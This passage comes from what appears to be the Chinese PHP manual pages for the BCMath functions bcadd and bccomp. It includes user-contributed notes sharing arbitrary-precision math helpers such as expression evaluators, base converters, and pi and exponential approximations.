    {
        $i++;
        $xpow = bcmul($xpow,$x);
        $sum = bcdiv($xpow, $i);
        if ($i%2==1)
        {
            $res = bcadd($res, $sum);
        }else{
            $res = bcsub($res, $sum);
        }
    }
    while (bccomp($sum, '0'));
    return bcadd($res,$m);
}
mail at djordjeungar dot com 14-Oct-2013 01:43
Inspired by dawidgarus' implementation, here's my simple bc math helper, it does not support function calls, but supports boolean comparisons and is about ~40% faster.

<?php
function bc() {
    $argv = func_get_args();
    $string = str_replace(' ', '', "({$argv[0]})");

    $operations = array();
    if (strpos($string, '^') !== false) $operations[] = '\^';
    if (strpbrk($string, '*/%') !== false) $operations[] = '[\*\/\%]';
    if (strpbrk($string, '+-') !== false) $operations[] = '[\+\-]';
    if (strpbrk($string, '<>!=') !== false) $operations[] = '<|>|=|<=|==|>=|!=|<>';

    $string = preg_replace('/\$([0-9\.]+)/e', '$argv[$1]', $string);
    while (preg_match('/\(([^\)\(]*)\)/', $string, $match)) {
        foreach ($operations as $operation) {
            if (preg_match("/([+-]{0,1}[0-9\.]+)($operation)([+-]{0,1}[0-9\.]+)/", $match[1], $m)) {
                switch($m[2]) {
                    case '+':  $result = bcadd($m[1], $m[3]); break;
                    case '-':  $result = bcsub($m[1], $m[3]); break;
                    case '*':  $result = bcmul($m[1], $m[3]); break;
                    case '/':  $result = bcdiv($m[1], $m[3]); break;
                    case '%':  $result = bcmod($m[1], $m[3]); break;
                    case '^':  $result = bcpow($m[1], $m[3]); break;
                    case '==':
                    case '=':  $result = bccomp($m[1], $m[3]) == 0; break;
                    case '>':  $result = bccomp($m[1], $m[3]) == 1; break;
                    case '<':  $result = bccomp($m[1], $m[3]) ==-1; break;
                    case '>=': $result = bccomp($m[1], $m[3]) >= 0; break;
                    case '<=': $result = bccomp($m[1], $m[3]) <= 0; break;
                    case '<>':
                    case '!=': $result = bccomp($m[1], $m[3]) != 0; break;
                }
                $match[1] = str_replace($m[0], $result, $match[1]);
            }
        }
        $string = str_replace($match[0], $match[1], $string);
    }

    return $string;
}
?>
dawidgarus at gmail dot com 28-Dec-2011 10:22
If you too are confused with illegible code like this:
<?php
$a = "3";
$b = "5";
bcadd(bcmod(bcadd(bcdiv(bcsqrt(bcadd(7, bcpow($a, 2))), 4), $b), "4"), "0.5"); // i might made a mistake somewhere
?>

You may consider use my function, which makes example above look:
<?php
bc("(sqrt(7 + $1^2) / 4 + $2) % 4 + 0.5", "3", "5");
?>

Code:
<?php

function bc() {
        $functions = 'sqrt';
        // list of | separated functions
        // sqrt refer to bcsqrt etc.
        // function must take exactly 1 argument

        $argv = func_get_args();
        $string = str_replace(' ', '', '('.$argv[0].')');
        $string = preg_replace('/\$([0-9\.]+)/e', '$argv[$1]', $string);
        while (preg_match('/(('.$functions.')?)\(([^\)\(]*)\)/', $string, $match)) {
                while (
                        preg_match('/([0-9\.]+)(\^)([0-9\.]+)/', $match[3], $m) ||
                        preg_match('/([0-9\.]+)([\*\/\%])([0-9\.]+)/', $match[3], $m) ||
                        preg_match('/([0-9\.]+)([\+\-])([0-9\.]+)/', $match[3], $m)
                ) {
                        switch($m[2]) {
                                case '+': $result = bcadd($m[1], $m[3]); break;
                                case '-': $result = bcsub($m[1], $m[3]); break;
                                case '*': $result = bcmul($m[1], $m[3]); break;
                                case '/': $result = bcdiv($m[1], $m[3]); break;
                                case '%': $result = bcmod($m[1], $m[3]); break;
                                case '^': $result = bcpow($m[1], $m[3]); break;
                        }
                        $match[3] = str_replace($m[0], $result, $match[3]);
                }
                if (!empty($match[1]) && function_exists($func = 'bc'.$match[1]))  {
                        $match[3] = $func($match[3]);
                }
                $string = str_replace($match[0], $match[3], $string);
        }
        return $string;
}

?>

Note you must define scale with bcscale().
artefact2 at gmail dot com 29-Jul-2010 06:18
Here are some useful functions to convert large hex numbers from and to large decimal ones :

<?php
    public static function bchexdec($hex) {
        if(strlen($hex) == 1) {
            return hexdec($hex);
        } else {
            $remain = substr($hex, 0, -1);
            $last = substr($hex, -1);
            return bcadd(bcmul(16, bchexdec($remain)), hexdec($last));
        }
    }

    public static function bcdechex($dec) {
        $last = bcmod($dec, 16);
        $remain = bcdiv(bcsub($dec, $last), 16);

        if($remain == 0) {
            return dechex($last);
        } else {
            return bcdechex($remain).dechex($last);
        }
    }
thomas at tgohome dot com 14-Nov-2009 03:17
Some useful bcmath functions:

<?php

/*
 * Computes the factoral (x!).
 * @author Thomas Oldbury.
 * @license Public domain.
 */
function bcfact($fact, $scale = 100)
{
    if($fact == 1) return 1;
    return bcmul($fact, bcfact(bcsub($fact, '1'), $scale), $scale);
}

/*
 * Computes e^x, where e is Euler's constant, or approximately 2.71828.
 * @author Thomas Oldbury.
 * @license Public domain.
 */
function bcexp($x, $iters = 7, $scale = 100)
{
    /* Compute e^x. */
    $res = bcadd('1.0', $x, $scale);
    for($i = 0; $i < $iters; $i++)
    {
        $res += bcdiv(bcpow($x, bcadd($i, '2'), $scale), bcfact(bcadd($i, '2'), $scale), $scale);
    }
    return $res;
}

/*
 * Computes ln(x).
 * @author Thomas Oldbury.
 * @license Public domain.
 */
function bcln($a, $iters = 10, $scale = 100)
{
    $result = "0.0";

    for($i = 0; $i < $iters; $i++)
    {
        $pow = bcadd("1.0", bcmul($i, "2.0", $scale), $scale);
        //$pow = 1 + ($i * 2);
        $mul = bcdiv("1.0", $pow, $scale);
        $fraction = bcmul($mul, bcpow(bcdiv(bcsub($a, "1.0", $scale), bcadd($a, "1.0", $scale), $scale), $pow, $scale), $scale);
        $result = bcadd($fraction, $result, $scale);
    }

    $res = bcmul("2.0", $result, $scale);
    return $res;
}

/*
 * Computes a^b, where a and b can have decimal digits, be negative and/or very large.
 * Also works for 0^0. Only able to calculate up to 10 digits. Quite slow.
 * @author Thomas Oldbury.
 * @license Public domain.
 */
function bcpowx($a, $b, $iters = 25, $scale = 100)
{
    $ln = bcln($a, $iters, $scale);
    return bcexp(bcmul($ln, $b, $scale), $iters, $scale);
}

$precision = 35;

echo "3^4.5,          precision 15, iters 25 = " . bcpowx('3', '4.5', 25, $precision) . "\n";
echo "4.5^3,          precision 15, iters 25 = " . bcpowx('4.5', '3', 25, $precision) . "\n";
echo "8^1/2,          precision 15, iters 25 = " . bcpowx('8', '0.5', 25, $precision) . "\n";
echo "28^-1,          precision 15, iters 25 = " . bcpowx('28', '-1', 25, $precision) . "\n";
echo "432^0,          precision 15, iters 25 = " . bcpowx('432', '0', 25, $precision) . "\n";
echo "0^0,            precision 15, iters 25 = " . bcpowx('0.0', '0', 25, $precision) . "\n";
echo "9^999,          precision 15, iters 25 = " . bcpowx('9', '999', 25, $precision) . "\n";
echo "9^9999,         precision 15, iters 25 = " . bcpowx('9', '9999', 25, $precision) . "\n";
echo "9^99999,        precision 15, iters 25 = " . bcpowx('9', '99999', 25, $precision) . "\n";
echo "9^999999,       precision 15, iters 25 = " . bcpowx('9', '999999', 25, $precision) . "\n";
echo "9^9999999,      precision 15, iters 25 = " . bcpowx('9', '9999999', 25, $precision) . "\n";
echo "9^99999999,     precision 15, iters 25 = " . bcpowx('9', '99999999', 25, $precision) . "\n";
echo "9^999999999,    precision 15, iters 25 = " . bcpowx('9', '999999999', 25, $precision) . "\n";
echo "9^9999999999,   precision 15, iters 25 = " . bcpowx('9', '9999999999', 25, $precision) . "\n";
echo "9^99999999999,  precision 15, iters 25 = " . bcpowx('9', '99999999999', 25, $precision) . "\n";
echo "9^999999999999, precision 15, iters 25 = " . bcpowx('9', '999999999999', 25, $precision) . "\n";

?>
francois dot barbier at gmail dot com 12-Aug-2009 10:19
As "benjcarson at digitaljunkies dot ca" (http://www.php.net/ref.bc.php#23038) noted in the first two comments, bcmath doesn't accept exponential notation.

Moreover, you might have other problems if you feed the bcmath functions directly with floating point numbers.
Consider the following example:
<?php
bcscale(1);
$a = 0.8;
$b = 0.7;
var_dump((string) $a);   // string(3) "0.8"
var_dump((string) $b);   // string(3) "0.a"
var_dump(bcadd($a, $b)); // string(3) "1.5"
setLocale(LC_ALL, 'fr_BE.UTF-8');
var_dump((string) $a);   // string(3) "0,8" --> note the comma
var_dump((string) $b);   // string(3) "0,7" --> note the comma
var_dump(bcadd($a, $b)); // string(3) "0.0"
?>
The floating point numbers passed to the bcadd() function are automatically converted to string using the localized decimal separator. However, the bcmath functions always use a full stop, which results in the last result being incorrect.

Below is a function to convert floating point numbers to strings correctly. It takes care of the decimal separator and the exponential notation. It also preserve the precision without drifting away (e.g. 1.0 doesn't become 0.99999...)
<?php
/**
 * Convert a number to locale independent string without E notation and without
 * loosing precision
 *
 * @param      int/float/double $fNumber The number to convert.
 * @return     string The locale independent converted number.
 */
function bcconv($fNumber)
{
    $sAppend = '';
    $iDecimals = ini_get('precision') - floor(log10(abs($fNumber)));
    if (0 > $iDecimals)
    {
        $fNumber *= pow(10, $iDecimals);
        $sAppend = str_repeat('0', -$iDecimals);
        $iDecimals = 0;
    }
    return number_format($fNumber, $iDecimals, '.', '').$sAppend;
}
?>

Example:
<?php
setLocale(LC_ALL, 'fr_BE.UTF-8'); // decimal separator is now a comma
$precision = ini_get('precision') + 2; // should give 16
bcscale($precision);
$big = pow(10, $precision);
$small = 1 / $big;
var_dump(bcconv($big + $small));               // string(17) "10000000000000000"
var_dump(bcadd($big, $small));                 // string(18) "0.0000000000000000"
var_dump(bcadd(bcconv($big), bcconv($small))); // string(34) "10000000000000000.0000000000000001"
?>
The first result's precision loss is due to PHP's internal floating point numbers' representation.
The second result is wrong because of the localized decimal separator.
Finally, the last result is correct.
Charles 13-Aug-2008 10:04
Function to round bc string:

<?php
function bcround($strval, $precision = 0) {
    if (false !== ($pos = strpos($strval, '.')) && (strlen($strval) - $pos - 1) > $precision) {
        $zeros = str_repeat("0", $precision);
        return bcadd($strval, "0.{$zeros}5", $precision);
    } else {
        return $strval;
    }
}
?>
Bouke Haarsma 29-Mar-2008 03:40
Please be aware not to use/have spaces in your strings. It took me a while to find the error in some advanced calculations!

<?php
echo bcadd("1", "2"); // 3
echo bcadd("1", "2 "); // 1
echo bcadd("1", " 2"); // 1
?>
udochen at gmail dot com 27-Feb-2007 11:48
Code below implements standard rounding on 5 or higer round up, else don't round.  There wasn't a round function for the BC functions, so here is a simple one that works. Same args as round, except takes strings and returns a string for more BC operations.

----------------

function roundbc($x, $p) {

     $x = trim($x);
     $data = explode(".",$x);

     if(substr($data[1],$p,1) >= "5") {

           //generate the add string.
           $i=0;
           $addString = "5";
           while($i < $p) {
               $addString = "0" . $addString;
               $i++;
           }//end while.
           $addString = "." . $addString;

           //now add the addString to the original fraction.
           $sum = bcadd($data[0] . "." . $data   [1],$addString,$p+1);

           //explode the result.
           $sumData = explode(".",$sum);

           //now, return the correct precision on the rounded number.
           return $sumData[0] . "." . substr($sumData[1],0,$p);

      } else {

           //don't round the value and return the orignal to the desired
           //precision or less.
           return $data[0] . "." . substr($data[1],0,$p);

      }//end if/else.

   }//end roundbc.
mgcclx at gmail dot com 29-Jan-2007 06:52
I wrote this function with many BCMath functions. It should be the fastest function in PHP to find the number pi into any precision, my test is it generate 2000 digits after the dot in 8 seconds. I don't think you need anything more than that.
<?php
//bcpi function with Gauss-Legendre algorithm
//by Chao Xu (Mgccl)
function bcpi($precision){
    $limit = ceil(log($precision)/log(2))-1;
    bcscale($precision+6);
    $a = 1;
    $b = bcdiv(1,bcsqrt(2));
    $t = 1/4;
    $p = 1;
    while($n < $limit){
        $x = bcdiv(bcadd($a,$b),2);
        $y = bcsqrt(bcmul($a, $b));
        $t = bcsub($t, bcmul($p,bcpow(bcsub($a,$x),2)));
        $a = $x;
        $b = $y;
        $p = bcmul(2,$p);
        ++$n;
    }
    return bcdiv(bcpow(bcadd($a, $b),2),bcmul(4,$t),$precision);
}
?>
marcus at synchromedia dot co dot uk 09-Aug-2006 09:17
Oops, first posting contained wrong code... sorry.
An amendment to the entry by pulstar at mail dot com - the digits() function can be made much faster (remove the line breaks from the big string, and make sure you don't miss any characters!):

function digits2($base) {
    if($base < 64) {
        return substr('0123456789abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ-_', 0, $base);
    } else {
        return substr("\x0\x1\x2\x3\x4\x5\x6\x7\x8\x9\xa\xb\xc\xd
\xe\xf\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d
\x1e\x1f\x20!\x22#\x24%&'()*+,-./0123456789:;<=>
\x3f@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]
^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84\x85
\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95
\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5
\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5
\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5
\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5
\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5
\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6
\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff", 0, $base);
    }
}

in my benchmarks, this is around 150x faster for 256 digits
stonehew ut gm a il det com 24-Nov-2004 09:31
Like any other bc function, you can't trust the last couple of digits, but everything else seems to check out.  If you want to use this for anything important, you may want to verify this against other sources of pi before use.  This function calculates 100 decimal places of pi in 329 iterations -- not exactly fast (each iteration calls the factorial function, from below, twice), so I try to avoid calling it more than once.

<?
//arbitrary precision pi approximator
//author tom boothby
//free for any use

function bcpi() {
    $r=2;
    $i=0;
    $or=0;

    while(bccomp($or,$r)) {
        $i++;
        $or=$r;
        $r = bcadd($r,bcdiv(bcmul(bcpow(bcfact($i),2),
                        bcpow(2,$i+1)),bcfact(2*$i+1)));
    }

    return $r;
}

?>
stonehew et g m a i l dut com 23-Nov-2004 11:20
I hacked these taylor expansions up to make diagrams for some physics homework.  I don't think you'll be wanting to do any real science with PHP... but what the hell, why not?  I plan to implement either a spigot algorithm or something similar to generate pi in the near future.

<?
// arbitrary precision sin and cosine functions
// author tom boothby
// free for any use

function bcfact($n) {
    $r = $n--;
    while($n>1) $r=bcmul($r,$n--);
    return $r;
}

function bcsin($a) {
    $or= $a;
    $r = bcsub($a,bcdiv(bcpow($a,3),6));
    $i = 2;
    while(bccomp($or,$r)) {
        $or=$r;
        switch($i%2) {
          case 0:  $r = bcadd($r,bcdiv(bcpow($a,$i*2+1),bcfact($i*2+1))); break;
          default: $r = bcsub($r,bcdiv(bcpow($a,$i*2+1),bcfact($i*2+1))); break;
        }
        $i++;
    }
    return $r;
}

function bccos($a) {
    $or= $a;
    $r = bcsub(1,bcdiv(bcpow($a,2),2));
    $i = 2;
    while(bccomp($or,$r)) {
        $or=$r;
        switch($i%2) {
          case 0:  $r = bcadd($r,bcdiv(bcpow($a,$i*2),bcfact($i*2))); break;
          default: $r = bcsub($r,bcdiv(bcpow($a,$i*2),bcfact($i*2))); break;
        }
        $i++;
    }
    return $r;
}

?>
Diabolos at GMail dot com 28-Oct-2004 11:42
Here's a function to compute the natural exponential function in arbitrary precision using the basic bcMath arithmetic operations.

EXAMPLE:
To compute the exponential function of 1.7 to 36 decimals:

$y = bcExp("1.7", 36);

The result:
4.331733759839529271053448625299468628

would be returned in variable $y

NOTE:
In practice, the last couple of digits may be inaccurate due to small rounding errors.  If you require a specific degree of precision, always compute 3-4 decimals beyond the required precision.

The program code for the natural exponential function is:
******************************************

  Function bcExp($xArg, $NumDecimals)

{
   $x = Trim($xArg);

   $PrevSum  = $x - 1;
   $CurrTerm = 1;
   $CurrSum  = bcAdd("1", $x, $NumDecimals);
   $n        = 1;

   While (bcComp($CurrSum, $PrevSum, $NumDecimals))

  {
   $PrevSum  = $CurrSum;
   $CurrTerm = bcDiv(bcMul($CurrTerm, $x, $NumDecimals), $n + 1, $NumDecimals);
   $CurrSum  = bcAdd($CurrSum, $CurrTerm, $NumDecimals);

   $n++;
  }

   Return $CurrSum;
}
robert at scabserver dot com 03-Jun-2004 09:58
I spent some time looking for how to generate a large random number, in the end I've settled for reading directly from /dev/urandom

I know this is a *nix only solution, but I figured that it might come in handy to someone else.

The value $size is the size in bits, it could be simplified greatly if you want the size in bytes, but bits was more helpful to what I needed.

<?php
function bcrand($size)
{
    $filename = "/dev/urandom";
    $handle = fopen($filename, "r");
    $bin_urand = fread($handle, ceil($size/8.0));
    fclose($handle);
    $mask = (($size % 8 < 5) ? '0' : '') . dechex(bindec(str_repeat('1', $size % 8))) . str_repeat('FF', floor($size/8));
    $binmask = pack("H*", $mask);
    $binrand = $binmask & $bin_urand;
    $hexnumber = unpack("H*", $binrand);
    $hexnumber = $hexnumber[''];
    $numlength = strlen($hexnumber);
    $decnumber = 0;
    for($x = 1; $x <= $numlength; $x++)
    {
        $place = $numlength - $x;
        $operand = hexdec(substr($hexnumber,$place,1));
        $exponent = bcpow(16,$x-1);
        $decValue = bcmul($operand, $exponent);
        $decnumber = bcadd($decValue, $decnumber);
    }
    return $decnumber;
}
?>
pulstar at mail dot com 15-Apr-2003 05:12
A little comment for the simplified example above: you can do base converting without BCMath functions using only math operators, but you will not able to manage very large values or work with strings to compress or scramble data. If you have BCMath installed in your system it worth use it for this.
oliver at summertime dot net 01-Mar-2003 10:12
A simplier Version of the Script above:

function dec2base($dec, $digits) {
 $value = "";
 $base  = strlen($digits);
 while($dec>$base-1) {
  $rest = $dec % $base;
  $dec  = $dec / $base;
  $value = $digits[$rest].$value;
 }
 $value = $digits[intval($dec)].$value;
 return (string) $value;
}

function base2dec($value, $digits) {
 $value = strtoupper($value);
 $base  = strlen($digits);
 $size  = strlen($value);
 $dec   = '0';
 for ($loop = 0; $loop<$size; $loop++) {
  $element = strpos($digits,$value[$loop]);
  $power   = pow($base,$size-$loop-1);
  $dec    += $element * $power;
 }
 return (string) $dec;
}

$digits = "ABCDEFGHJKLMNPQRSTUVWXYZ23456789";
echo dec2base('1000', $digits);
pulstar at mail dot com 20-Sep-2002 07:23
A found a little fix to do in my base2dec() function:
The line "if($base<37) $value=strtolower($value);" should be removed if you want to specify another digits for your base conversions. Change it this way:

if(!$digits) {
$digits=digits($base);
if($base<37) {
$value=strtolower($value);
}
}

Another example using these functions is to generate a key for a session, to name temporary files or something else:

srand((double) microtime()*1000000);
$id=uniqid(rand(10,999));
$mykey=dec2base(base2dec($id,16),64);

$mykey is a base64 value, which is a good key for passing thru an URL and also is shorter than a MD5 string (it will be allways 11 chars long). If you need something more secure, just scramble the 64 digits in the digits() function.

Well, I hope you enjoy it.

Regards,
Edemilson Lima
pulstar at mail dot com 19-Sep-2002 08:27
A good use for BCMath functions:
The functions below can convert a number in any base (from 2 to 256) to its decimal value and vice-versa.

// convert a decimal value to any other base value
function dec2base($dec,$base,$digits=FALSE) {
    if($base<2 or $base>256) die("Invalid Base: ".$base);
    bcscale(0);
    $value="";
    if(!$digits) $digits=digits($base);
    while($dec>$base-1) {
        $rest=bcmod($dec,$base);
        $dec=bcdiv($dec,$base);
        $value=$digits[$rest].$value;
    }
    $value=$digits[intval($dec)].$value;
    return (string) $value;
}

// convert another base value to its decimal value
function base2dec($value,$base,$digits=FALSE) {
    if($base<2 or $base>256) die("Invalid Base: ".$base);
    bcscale(0);
    if($base<37) $value=strtolower($value);
    if(!$digits) $digits=digits($base);
    $size=strlen($value);
    $dec="0";
    for($loop=0;$loop<$size;$loop++) {
        $element=strpos($digits,$value[$loop]);
        $power=bcpow($base,$size-$loop-1);
        $dec=bcadd($dec,bcmul($element,$power));
    }
    return (string) $dec;
}

function digits($base) {
    if($base>64) {
        $digits="";
        for($loop=0;$loop<256;$loop++) {
            $digits.=chr($loop);
        }
    } else {
        $digits ="0123456789abcdefghijklmnopqrstuvwxyz";
        $digits.="ABCDEFGHIJKLMNOPQRSTUVWXYZ-_";
    }
    $digits=substr($digits,0,$base);
    return (string) $digits;
}

The purpose of digits() function above is to supply the characters that will be used as digits for the base you want. NOTE: You can use any characters for that when you convert to another base, but when you convert again to the decimal base, you need to use the same characters or you will get another unexpected result.


两个任意精度数字的加法计算

  • ? BC 数学 函数
  • bccomp ?
  • PHP Manual
  • BC 数学 函数
  • 两个任意精度数字的加法计算

bcadd

(PHP 4, PHP 5, PHP 7, PHP 8)

bcadd — 两个任意精度数字的加法计算

说明

bcadd(string $num1, string $num2, ?int $scale = null): string

对 num1 和 num2 求和。

参数

num1

左操作数，字符串类型。

num2

右操作数，字符串类型。

scale

此可选参数用于设置结果中小数点后的小数位数。也可通过使用 bcscale() 来设置全局默认的小数位数，用于所有函数。如果未设置，则默认为 0。

返回值

以字符串返回两个操作数求和之后的结果。

更新日志

版本 | 说明
8.0.0 | 现在 scale 可以为 null。

示例

Example #1 bcadd() 示例

<?php

$a = '1.234';
$b = '5';

echo bcadd($a, $b); // 6
echo bcadd($a, $b, 4); // 6.2340

?>

参见

  • bcsub() - 两个任意精度数字的减法

User Contributed Notes

Nitrogen 15-Jul-2009 09:16
I made this to add an unlimited size of numbers together..

This could be useful for those without the BCMath extension.

It allows decimals, and optional $Scale parameter.  If $Scale isn't specified, then it'll automatically adjust to show the correct number of decimals.

<?php

function Add($Num1,$Num2,$Scale=null) {
  // check if they're valid positive numbers, extract the whole numbers and decimals
  if(!preg_match("/^\+?(\d+)(\.\d+)?$/",$Num1,$Tmp1)||
     !preg_match("/^\+?(\d+)(\.\d+)?$/",$Num2,$Tmp2)) return('0');

  // this is where the result is stored
  $Output=array();

  // remove ending zeroes from decimals and remove point
  $Dec1=isset($Tmp1[2])?rtrim(substr($Tmp1[2],1),'0'):'';
  $Dec2=isset($Tmp2[2])?rtrim(substr($Tmp2[2],1),'0'):'';

  // calculate the longest length of decimals
  $DLen=max(strlen($Dec1),strlen($Dec2));

  // if $Scale is null, automatically set it to the amount of decimal places for accuracy
  if($Scale==null) $Scale=$DLen;

  // remove leading zeroes and reverse the whole numbers, then append padded decimals on the end
  $Num1=strrev(ltrim($Tmp1[1],'0').str_pad($Dec1,$DLen,'0'));
  $Num2=strrev(ltrim($Tmp2[1],'0').str_pad($Dec2,$DLen,'0'));

  // calculate the longest length we need to process
  $MLen=max(strlen($Num1),strlen($Num2));

  // pad the two numbers so they are of equal length (both equal to $MLen)
  $Num1=str_pad($Num1,$MLen,'0');
  $Num2=str_pad($Num2,$MLen,'0');

  // process each digit, keep the ones, carry the tens (remainders)
  for($i=0;$i<$MLen;$i++) {
    $Sum=((int)$Num1{$i}+(int)$Num2{$i});
    if(isset($Output[$i])) $Sum+=$Output[$i];
    $Output[$i]=$Sum%10;
    if($Sum>9) $Output[$i+1]=1;
  }

  // convert the array to string and reverse it
  $Output=strrev(implode($Output));

  // substring the decimal digits from the result, pad if necessary (if $Scale > amount of actual decimals)
  // next, since actual zero values can cause a problem with the substring values, if so, just simply give '0'
  // next, append the decimal value, if $Scale is defined, and return result
  $Decimal=str_pad(substr($Output,-$DLen,$Scale),$Scale,'0');
  $Output=(($MLen-$DLen<1)?'0':substr($Output,0,-$DLen));
  $Output.=(($Scale>0)?".{$Decimal}":'');
  return($Output);
}

$A="5650175242.508133742";
$B="308437806.831153821478770";

printf("  Add(%s,%s);\r\n// %s\r\n\r\n",$A,$B,  Add($A,$B));
printf("BCAdd(%s,%s);\r\n// %s\r\n\r\n",$A,$B,BCAdd($A,$B));

/*
  This will produce the following..
    Add(5650175242.508133742,308437806.831153821478770);
  // 5958613049.33928756347877

  BCAdd(5650175242.508133742,308437806.831153821478770);
  // 5958613049
*/

?>

It was a fun experience making, and thought I'd share it.
Enjoy,
Nitrogen.
Bo Anders Svensson 23-May-2005 05:25
Be aware:

$exp1 = "1E5";
$exp2 = "2E4";

$ans1 = bcadd((float)$exp1, (float)$exp2, 3);
$ans2 = bcadd((int)$exp1, (int)$exp2, 3);
$ans3 = bcadd($exp1, $exp2, 3);

echo "1: $exp1 + $exp2 = $ans1\r\n";
echo "2: $exp1 + $exp2 = $ans2\r\n";
echo "3: $exp1 + $exp2 = $ans3\r\n";

1: 1E5 + 2E4 = 120000.000
2: 1E5 + 2E4 = 3.000
3: 1E5 + 2E4 = 0.000


比较两个任意精度的数字

  • ? bcadd
  • bcdiv ?
  • PHP Manual
  • BC 数学 函数
  • 比较两个任意精度的数字

bccomp

(PHP 4, PHP 5, PHP 7, PHP 8)

bccomp — 比较两个任意精度的数字

说明

bccomp(string $num1, string $num2, ?int $scale = null): int

比较 num1 和 num2, 并且返回整型数字的结果。

参数

num1

左边的运算数，是一个字符串。

num2

右边的运算数，是一个字符串。

scale

可选的 scale 参数被用作设置指示数字， 在使用来作比较的小数点部分。

返回值

两个数相等时返回 0； num1 比 num2 大时返回 1； 其他则返回 -1。

更新日志

版本 | 说明
8.0.0 | 现在 scale 可以为 null。

示例

Example #1 bccomp() 示例

<?php

echo bccomp('1', '2') . "\n"; // -1
echo bccomp('1.00001', '1', 3); // 0
echo bccomp('1.00001', '1', 5); // 1

?>

User Contributed Notes

aaugrin at gmail dot com 19-Feb-2018 10:01
BEWARE! left and right operand is string!! so number in E-notation like 9.012E-6  need to be converted with sprintf('%F') to string
Artur Kuritsyn 18-Sep-2017 11:57
bccomp - doesn't compare by default more then 16 characters

$number = '-4.444444444444444444444444444444444444444444445';
$precision = 16;
var_dump(bccomp(bcadd($number, '0', $precision), bcadd($number, '0', $precision+1)));

//outputs 0 on PHP 5.3

use strcomp
simonrataj at seznam dot cz 28-Jun-2016 03:26
In PHP 7, bccomp($a, $b) is the same as $a <=> $b.
github.com/alixaxel/phunction/ 07-May-2012 01:19
You can wrap this function with version_compare() to have support for operators and friendlier (boolean) return values.

<?php

function _bccomp($a, $b, $operator = '=')
{
    return version_compare(bccomp($a, $b), 0, $operator);
}

var_dump(_bccomp(5, 3, '>=')); // true

?>

Still works with arbitrary length numbers.
Robert Lozyniak 16-Feb-2010 10:04
Beware that negative zero does not compare equal to positive zero.
Nitrogen 21-Jul-2009 06:23
I made this to compare an unlimited size of numbers..

This could be useful for those without the BCMath extension.

It allows decimals, and option $Scale parameter.  If $Scale isn't specified, then it'll automatically adjust to the correct number of decimals to compare.

<?php

function Comp($Num1,$Num2,$Scale=null) {
  // check if they're valid positive numbers, extract the whole numbers and decimals
  if(!preg_match("/^\+?(\d+)(\.\d+)?$/",$Num1,$Tmp1)||
     !preg_match("/^\+?(\d+)(\.\d+)?$/",$Num2,$Tmp2)) return('0');

  // remove leading zeroes from whole numbers
  $Num1=ltrim($Tmp1[1],'0');
  $Num2=ltrim($Tmp2[1],'0');

  // first, we can just check the lengths of the numbers, this can help save processing time
  // if $Num1 is longer than $Num2, return 1.. vice versa with the next step.
  if(strlen($Num1)>strlen($Num2)) return(1);
  else {
    if(strlen($Num1)<strlen($Num2)) return(-1);

    // if the two numbers are of equal length, we check digit-by-digit
    else {

      // remove ending zeroes from decimals and remove point
      $Dec1=isset($Tmp1[2])?rtrim(substr($Tmp1[2],1),'0'):'';
      $Dec2=isset($Tmp2[2])?rtrim(substr($Tmp2[2],1),'0'):'';

      // if the user defined $Scale, then make sure we use that only
      if($Scale!=null) {
        $Dec1=substr($Dec1,0,$Scale);
        $Dec2=substr($Dec2,0,$Scale);
      }

      // calculate the longest length of decimals
      $DLen=max(strlen($Dec1),strlen($Dec2));

      // append the padded decimals onto the end of the whole numbers
      $Num1.=str_pad($Dec1,$DLen,'0');
      $Num2.=str_pad($Dec2,$DLen,'0');

      // check digit-by-digit, if they have a difference, return 1 or -1 (greater/lower than)
      for($i=0;$i<strlen($Num1);$i++) {
        if((int)$Num1{$i}>(int)$Num2{$i}) return(1);
        else
          if((int)$Num1{$i}<(int)$Num2{$i}) return(-1);
      }

      // if the two numbers have no difference (they're the same).. return 0
      return(0);
    }
  }
}

$A="10.50002";
$B="10.50001";

printf("  Comp(%s,%s); // %s\r\n",$A,$B,  Comp($A,$B));
printf("BCComp(%s,%s); // %s\r\n",$A,$B,BCComp($A,$B));

/*
    Comp(10.50002,10.50001); // 1
  BCComp(10.50002,10.50001); // 0 (BCComp has a default decimal scale of 0, unless specified)
*/

?>

I tried to make this behave like BCComp..

The only difference being mine will compare the decimals by default.. BCComp won't..
.. unless, of course, you specify the amount of decimals to include in the process.
Enjoy,
Nitrogen.
m dot kaczanowski at alianet dot pl 11-Mar-2009 06:35
Improvement of functions bcmax() and bcmin() originaly written by frank at booksku dot com

<?php

function bcmax() {
  $args = func_get_args();
  if (count($args)==0) return false;
  $max = $args[0];
  foreach($args as $value) {
    if (bccomp($value, $max)==1) {
      $max = $value;
    }
  }
  return $max;
}

function bcmin() {
  $args = func_get_args();
  if (count($args)==0) return false;
  $min = $args[0];
  foreach($args as $value) {
    if (bccomp($min, $value)==1) {
      $min = $value;
    }
  }
  return $min;
}
?>
frank at booksku dot com 04-Oct-2005 03:41
I slapped together min() and max() functions using bccomp().  While min() and max() only take an arbitrary number of args (i.e. max(1, 5, 1235, 12934, 66)) bccomp only takes 2.

Note that this doesn't take into account $scale.

<?php

function bcmax() {
  $max = null;
  foreach(func_get_args() as $value) {
    if ($max == null) {
      $max = $value;
    } else if (bccomp($max, $value) < 0) {
      $max = $value;
    }
  }
  return $max;
}

function bcmin() {
  $min = null;
  foreach(func_get_args() as $value) {
    if ($min == null) {
      $min = $value;
    } else if (bccomp($min, $value) > 0) {
      $min = $value;
    }
  }
  return $min;
}
?>
